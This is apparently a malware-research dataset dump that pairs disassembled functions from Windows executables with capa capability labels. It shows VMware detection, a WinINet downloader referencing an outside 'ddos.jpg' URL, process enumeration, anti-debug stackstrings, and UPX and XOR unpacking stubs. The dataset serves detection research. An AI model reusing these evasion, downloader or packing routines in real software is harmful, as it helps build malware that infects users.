joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002a1e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002a20d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002a20d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401927
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401966
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401966
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401966
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401966
cmp dword [ecx + 0x74], 0xe
jbe 0x401966
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401280
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404458
push 0x403870
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401380
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x1c
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 1
push 0
push 0
push 0
push str.SOFTWAREATerMinate
push 0x80000002
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401423
xor edx, edx
mov byte [esp + 0x10], al
mov dword [esp + 0x11], edx
lea eax, [esp + 8]
mov dword [esp + 0x15], edx
lea ecx, [esp + 0x10]
mov byte [esp + 0x19], dl
push eax
mov eax, dword [esp + 0x24]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0xa
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x10]
push str.ERROR
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x401423
mov eax, 1
add esp, 0x1c
ret 4
xor eax, eax
add esp, 0x1c
ret 4
Function at 0x401430
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x403a9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
mov eax, dword [esp + 0x1a8]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
push 0x66
mov dword [esp + 0x1c], esi
call sub.MFC42.DLL_CDialog::CDialog
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push 0x202
mov dword [esp + 0x1b8], edi
mov dword [esi], 0x40453c
call dword [sym.imp.WS2_32.dll_WSAStartup]
call sub.MFC42.DLL_AfxGetModuleState
push 0x80
push 0xe
push 0x80
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esi + 0x64], eax
mov word [esi + 0x68], di
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
mov dword [esi + 0x60], 0xffffffff
xor esi, esi
mov dword [esp + 0x10], 0xe
lea ebx, [esi + 0x406454]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401509
xor edx, edx
mov al, byte [esi + edx + 0x406454]
mov edi, ebx
xor al, 1
inc ebp
mov byte [esi + edx + 0x406454], al
mov edx, ebp
or ecx, 0xffffffff
xor eax, eax
and edx, 0xffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4014e0
mov eax, dword [esp + 0x10]
add esi, 0x64
dec eax
mov dword [esp + 0x10], eax
jne 0x4014c8
push 0x434
push str.http:__www.0777163.com:8080_ddos.jpg
call fcn.00402330
mov esi, dword [esp + 0x1c]
add esp, 8
mov ecx, esi
call fcn.00402db0
test eax, eax
je 0x40153f
mov ecx, esi
call fcn.00402f60
mov ecx, dword [esp + 0x1a8]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a4
ret 4

Function at 0x401640
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
push 0
push 0
push 0
push 0
mov dword [0x4069cc], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0x401590
mov dword [0x4069cc], eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, 0xfa0
mov eax, dword [0x4069cc]
push 0x3e8
push eax
call edi
test eax, eax
je 0x4016a2
sub esi, 0x3e8
jne 0x401677
mov ecx, dword [0x4069cc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
ret
pop edi
mov eax, 1
pop esi
ret
Function at 0x4021b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, 1
push str.Wininet.dll
mov dword [esp + 0x1c], edi
mov dword [esp + 0x28], edi
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
cmp esi, edi
jne 0x4021eb
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push esi
call edi
push str.InternetOpenUrlA
push esi
mov ebp, eax
call edi
push str.InternetReadFile
push esi
mov dword [esp + 0x1c], eax
call edi
push str.InternetCloseHandle
push esi
mov dword [esp + 0x24], eax
call edi
push 0
push 0
push 0
mov edi, eax
push 0
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x34], edi
call ebp
mov esi, eax
test esi, esi
jne 0x402245
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret 0xc
mov eax, dword [esp + 0x42c]
push 0
push 0x80000000
push 0
push 0
push eax
push esi
call dword [esp + 0x2c]
mov ebp, eax
test ebp, ebp
jne 0x402272
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret 0xc
mov ecx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x40230c
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x2c]
push 0x400
push eax
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x4022d1
cmp word [esp + 0x28], 0x5a4d
je 0x4022d1
mov eax, dword [esp + 0x434]
test eax, eax
je 0x4022f8
mov edx, dword [esp + 0x18]
xor ebx, ebx
lea ecx, [esp + 0x24]
push ebx
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x30]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x18]
test eax, eax
jbe 0x4022fd
jmp 0x402298
mov byte [esp + 0x13], 0
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
push ebp
call edi
push esi
call edi
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret 0xc
Function at 0x4029f0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x402a18
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateToolhelp32Snapshot
push esi
call edi
push str.Process32First
push esi
mov ebx, eax
call edi
push str.OpenProcess
push esi
mov ebp, eax
call edi
push str.Process32Next
push esi
mov dword [esp + 0x18], eax
call edi
push str.psapi.dll
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x402a64
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetModuleFileNameExA
push eax
call edi
xor edi, edi
mov dword [esp + 0x14], eax
push edi
push 2
call ebx
mov esi, eax
lea eax, [esp + 0x1c]
push eax
push esi
mov dword [esp + 0x24], 0x128
call ebp
mov ebx, dword [esp + 0x148]
mov eax, dword [esp + 0x24]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x402ab2
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [esp + 0x20]
test eax, eax
je 0x402ae3
cmp dword [esp + 0x24], ebx
jne 0x402a9e
mov edx, dword [esp + 0x34]
push edx
push 0
push 0x410
call dword [esp + 0x1c]
mov ecx, dword [esp + 0x14c]
mov ebx, eax
mov eax, dword [esp + 0x150]
push eax
push ecx
push 0
push ebx
call dword [esp + 0x24]
push ebx
mov edi, 1
call ebp
push esi
call ebp
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret 0xc
Function at 0x402b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x22c
push ebx
push esi
mov esi, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
cmp eax, ebx
jne 0x402b26
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetCurrentProcessId
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
lea ecx, [esp + 0x130]
push 0x104
push ecx
push eax
mov ecx, esi
call fcn.004029f0
test eax, eax
je 0x402caa
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], bl
mov esi, dword [sym.imp.MSVCRT.dll__strrev]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x134]
push edx
stosb byte es:[edi], al
call esi
lea eax, [esp + 0x138]
push 0x406b88
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x140]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x140]
sub ecx, edx
push ecx
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
lea edx, [esp + 0x48]
push edx
call esi
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
mov al, 0x65
mov cl, 0x78
mov byte [esp + 0x3c], al
mov dl, 0x72
mov byte [esp + 0x42], al
mov byte [esp + 0x45], al
mov byte [esp + 0x47], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3d], cl
mov byte [esp + 0x46], cl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x39], cl
lea eax, [esp + 0x3c]
mov byte [esp + 0x41], dl
mov byte [esp + 0x43], dl
lea ecx, [esp + 0x4c]
mov dl, 0x2e
push eax
push ecx
mov byte [esp + 0x46], 0x70
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0x6f
mov byte [esp + 0x4c], dl
mov byte [esp + 0x50], bl
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x31], 0x6d
mov byte [esp + 0x32], 0x64
mov byte [esp + 0x33], dl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x4f
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x79
mov byte [esp + 0x3c], 0x64
mov byte [esp + 0x3d], 0x62
mov byte [esp + 0x3e], 0x67
mov byte [esp + 0x3f], dl
mov byte [esp + 0x43], bl
call esi
add esp, 0x24
test eax, eax
pop edi
je 0x402c9c
lea edx, [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
call esi
add esp, 8
test eax, eax
je 0x402c9c
lea ecx, [esp + 0x10]
lea edx, [esp + 0x2c]
push ecx
push edx
call esi
add esp, 8
test eax, eax
jne 0x402caa
pop esi
mov eax, 1
pop ebx
add esp, 0x22c
ret
pop esi
xor eax, eax
pop ebx
add esp, 0x22c
ret

Function at 0x402d70
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll_rand]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 3
push edx
push esi
push str._s_d._s
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
ret 0xc
Function at 0x402db0
Capabilities:
Create directory

Disassembly:
sub esp, 0x208
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x402de7
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetWindowsDirectoryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 8]
push 0x104
push ecx
call eax
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 8]
push 0x406b88
push edx
call esi
lea eax, [esp + 8]
push str.Microsoft_
push eax
call esi
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__mkdir]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
rep stosd dword es:[edi], eax
add esp, 4
lea edx, [esp + 0x10c]
stosw word es:[edi], ax
push 0x104
push edx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x208
ret

Function at 0x402e80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebx
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402f4f
push ebp
push edi
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x402f46
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x402f07
dec edx
or edx, 0xfffffc00
inc edx
jne 0x402f28
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x402f0b
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, ebp
jl 0x402ef5
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
pop ebx
add esp, 0x404
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x409986
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409986
lcall 0x5de5, 0x8b10c483
jmp fcn.00781ad0
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
mov ecx, 0x3df37b54
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x3eab3c20
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x1014403a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1015a75c]
jne 0x10144044
repz ret
jmp fcn.101460aa

Function at 0x10146383
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10143a50
and dword [ebp - 4], 0
cmp dword [0x1015c30c], 0
mov ebx, eax
jne 0x10146434
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101464e5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101464e5
push eax
call fcn.101439de
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1015c30c], eax
call esi
push eax
call fcn.101439de
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1015c310], eax
call esi
push eax
call fcn.101439de
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1015c314], eax
call esi
push eax
call fcn.101439de
pop ecx
mov dword [0x1015c31c], eax
test eax, eax
je 0x10146434
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.101439de
pop ecx
mov dword [0x1015c318], eax
mov eax, dword [0x1015c318]
cmp eax, ebx
je 0x1014648c
cmp dword [0x1015c31c], ebx
je 0x1014648c
push eax
call fcn.10143a59
push dword [0x1015c31c]
mov esi, eax
call fcn.10143a59
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1014648c
test edi, edi
je 0x1014648c
call esi
test eax, eax
je 0x10146483
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10146483
test byte [ebp - 0xc], 1
jne 0x1014648c
or dword [ebp + 0x10], 0x200000
jmp 0x101464c5
mov eax, dword [0x1015c310]
cmp eax, ebx
je 0x101464c5
push eax
call fcn.10143a59
pop ecx
test eax, eax
je 0x101464c5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x101464c5
mov eax, dword [0x1015c314]
cmp eax, ebx
je 0x101464c5
push eax
call fcn.10143a59
pop ecx
test eax, eax
je 0x101464c5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1015c30c]
call fcn.10143a59
pop ecx
test eax, eax
je 0x101464e5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101464e7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10147f64
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
mov dword [0x1015a114], 0x122e
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x10148177
jmp 0x10147fcd
mov dword [0x1015a114], 0xdfa
mov dword [0x1015a118], 0xa7
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff8
mov dword [ebp - 0x18], eax
jmp 0x10148177
mov dword [0x1015a114], 0xc01
mov ecx, dword fs:[0x18]
xor eax, eax
mov dword [0x1015a114], 0x1973
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov dword [0x1015a118], 0x177a
mov ecx, dword [ecx + 0x14]
mov dword [0x1015a114], 0x1eb7
cmp ecx, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], eax
je 0x10148177
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov byte [ebp - 0x25], cl
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
jmp 0x10148036
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 0x24
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x25]
and bh, bl
test bh, 1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], esi
jne 0x10147fa9
mov eax, 0xdfa
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov si, word [edx]
shr si, 1
movzx edi, si
cmp si, 0
mov ebx, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], eax
je 0x10148146
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
add eax, 0x264a
mov edx, ecx
add edx, 1
mov esi, dword [ebp - 0x34]
mov di, word [esi + ecx*2]
mov bx, di
add bx, 0xffbf
mov si, di
add si, 0x20
cmp bx, 0x1a
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], edx
mov word [ebp - 0x56], di
mov word [ebp - 0x58], si
jb 0x101480e0
mov ax, word [ebp - 0x56]
mov word [ebp - 0x58], ax
mov ax, word [ebp - 0x58]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x4c]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
setne bh
mov al, bl
and al, bh
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x40]
cmp esi, edi
setb bh
and al, bh
test al, 1
mov eax, dword [ebp - 0x50]
mov byte [ebp - 0x59], bl
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x3c], eax
jne 0x10148096
mov al, byte [ebp - 0x59]
test al, 1
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x48], ecx
jne 0x1014812c
jmp 0x10148146
mov eax, dword [ebp - 0x50]
mov dword [0x1015a114], eax
mov dword [0x1015a118], 0x671
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
jmp 0x10148177
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov esi, dword [ebp - 0x24]
cmp edx, esi
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x2c], edx
jne 0x10148036
xor eax, eax
mov ecx, dword [ebp - 0x60]
mov dword [0x1015a114], ecx
mov dword [0x1015a118], 0x671
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret